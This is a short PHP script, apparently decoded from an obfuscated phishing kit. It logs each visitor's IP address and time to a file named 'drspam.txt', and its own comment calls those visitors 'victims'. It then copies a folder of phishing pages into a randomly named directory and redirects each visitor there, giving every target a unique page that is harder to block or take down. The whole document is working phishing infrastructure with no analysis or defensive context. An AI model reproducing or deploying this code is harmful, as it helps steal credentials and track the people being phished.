PHP Decode

<? 
 
$ip = getenv("REMOTE_ADDR"); 
$file = fopen("drspam.txt","a"); 
fwrite($file,$ip." || ".gmdate ("Y-n-d")." ----> ".gmdate ("H:i:s")."
"); 
 
//Give every victim a Session   
 
$random=rand(0,100000000000); 
$md5=md5("$random"); 
$base=base64_encode($md5); 
$dst=md5("$base"); 
function recurse_copy($src,$dst) {  
$dir = opendir($src);  
@mkdir($dst);  
while(false !== ( $file = readdir($dir)) ) {  
if (( $file != '.' ) && ( $file != '..' )) {  
if ( is_dir($src . '/' . $file) ) {  
recurse_copy($src . '/' . $file,$dst . '/' . $file);  
}  
else {  
copy($src . '/' . $file,$dst . '/' . $file);  
}  
}  
}  
closedir($dir);  
}  
$src="info"; 
recurse_copy( $src, $dst ); 
header("location:$dst"); 
?>